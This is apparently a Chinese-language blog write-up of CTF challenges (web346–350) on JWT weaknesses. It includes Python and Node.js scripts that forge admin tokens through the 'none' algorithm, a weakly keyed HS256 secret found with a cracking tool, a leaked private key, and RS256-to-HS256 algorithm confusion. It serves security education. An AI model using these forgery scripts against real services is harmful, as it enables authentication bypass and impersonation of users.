jwt安全问题

本文最后更新于:2023年9月1日 上午

[TOC]

jwt安全问题

jwt简介

JWT的全称是Json Web Token,遵循JSON格式,跨域认证解决方案,声明被存储在客户端,而不是在服务器内存中,服务器不保留任何用户信息,只保留密钥信息,通过使用特定加密算法验证token,通过token验证用户身份,基于token的身份验证可以替代传统的cookie+session身份验证方法。

jwt就是可以用来验证身份的东西

jwt组成

格式为:

1
header.payload.signature

1.png

heade部分最常见的两个字段是alg和type,alg指定了token加密使用的算法(最常用的HMAC和RSA算法)。type类型为JWT。

1
2
3
4
{
"typ":"JWT",
"alg":"HS256"
}

payload

payload则为用户数据,如一次登录的过程可能会传递一下数据

1
2
3
4
5
6
7
8
9
{
"user_role" : "finn", //当前登录用户
"iss": "admin", //该JWT的签发者,有些是URL
"iat": 1573440582, //签发时间
"exp": 1573940267, //过期时间
"nbf": 1573440582, //该时间之前不接收处理该Token
"domain": "example.com", //面向的用户
"jti": "dff4214121e83057655e10bd9751d657" //Token唯一标识
}

signature

这一部分的功能是保护token完整性,生成方式是将header和payload两个部分链接,然后通过Header部分指定的算法,计算签名。计算公式如下:

1
signature = HMAC-SHA256(base64urlEncode(header) + '.' + base64urlEncode(payload), secret_key)

header和payload部分的编码方式为base64urlencode,base64url编码是不会再末尾填充”=”号,并且将”+”替换成”-“、”/“替换成”_”

潜在漏洞

● 签名未校验

● 算法被篡改

● 敏感信息泄露

● 加密算法不安全

● 伪造密钥(CVE-2018-0114)

空加密算法

JWT支持空加密算法,可以在header中指定alg为None,这样的话,只要把signature设置为空,即不添加singature字段,提交到服务器,任何token都可以通过服务器的验证

1
格式:header+"."+payload+"."

空加密算法本身是为了调试方便,在生产环境中开启空加密模式,缺少签名保护,攻击者只要把alg字段设置成none,就可以在payload中构造身份,伪造用户身份。

web346

jwt

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5MzI5NzA2MCwiZXhwIjoxNjkzMzA0MjYwLCJuYmYiOjE2OTMyOTcwNjAsInN1YiI6InVzZXIiLCJqdGkiOiIxZWNlMTU0MmRhNWYxNWE1ZDVhZjA5MTFhYjMzOGZiNCJ9.oNpq8ct6U2x6bVlBdg7MtjhtlBuF6KXveFNxFnwBdNE

解密看看:

image-20230829162321891

我们需要将其改为admin

但是这里存在空加密算法,我们直接把算法换为none即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import jwt

# payload
token_dict = {
"iss": "admin",
"iat": 1610432484,
"exp": 1610439684,
"nbf": 1610432484,
"sub": "admin",
"jti": "efec0205f601a537847ee2dd3ffa81ff"
}

# headers
headers = {
"alg": "none",
"typ": "JWT"
}

jwt_token = jwt.encode(token_dict,
key='',
headers=headers,
algorithm="None",
)

print(jwt_token)

# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYxMDQzMjQ4NCwiZXhwIjoxNjEwNDM5Njg0LCJuYmYiOjE2MTA0MzI0ODQsInN1YiI6ImFkbWluIiwianRpIjoiZWZlYzAyMDVmNjAxYTUzNzg0N2VlMmRkM2ZmYTgxZmYifQ.

密钥爆破

对 JWT 的密钥爆破需要在一定的前提下进行:

  • 知悉JWT使用的加密算法
  • 一段有效的、已签名的token
  • 签名用的密钥不复杂(弱密钥)
web348
1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5MzI5MTMyMSwiZXhwIjoxNjkzMjk4NTIxLCJuYmYiOjE2OTMyOTEzMjEsInN1YiI6InVzZXIiLCJqdGkiOiIxOWJhNDAxOTNjYTRjZTIzNGI1MzIxZDQ4OTgwNzA3MSJ9.ijdyfitTWJEbrOXhQPl5pQkwh--II1jFoV0OY2w7VGo

借助c-jwt-cracker项目:https://github.com/brendan-rius/c-jwt-cracker

image-20230829163619492

敏感信息泄露

web349

私钥泄露了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');

});

router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});

访问/private.key可以获得私钥,所以我们可以根据私钥,生成一个新的jwt token

1
2
3
4
5
6
import jwt

private = open('private.key', 'r').read()
payload = {"user": "admin"}
print(jwt.encode(payload, key=private, algorithm='RS256'))

修改算法RS256为HS256

(非对称密码–>对称密码)

JWT中最常用的两种算法为HMACRSA

HMAC(HS256):是一种对称加密算法,使用秘密密钥对每条消息进行签名和验证
RSA(RS256):是一种非对称加密算法,使用私钥加密明文,公钥解密密文。

在这两种算法中都是使用私钥对signature字段进行签名,只有拿到了加密时使用的私钥,才有可能伪造token。

如果将算法从RS256更改为HS256,后端代码会使用公钥作为秘密密钥,然后使用HS256算法验证签名。由于公钥有时可以被攻击者获取到,所以攻击者可以修改header中算法为HS256,然后使用RSA公钥对数据进行签名。更改算法为HS256,即不存在公钥私钥问题,因为HMAC对称密码算法只有一个key

web350

这里公钥泄露了,我们直接修改加密算法为HS256,此时服务端会使用公钥进行校验

1
2
3
4
5
6
import jwt

public = open('public.key', 'r').read()
payload = {"user": "admin"}
print(jwt.encode(payload, key=public, algorithm='HS256'))

或者使用nodejs:

1
2
3
4
5
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

jwt安全问题
https://leekosss.github.io/2023/09/01/jwt安全问题/
作者
leekos
发布于
2023年9月1日
更新于
2023年9月1日
许可协议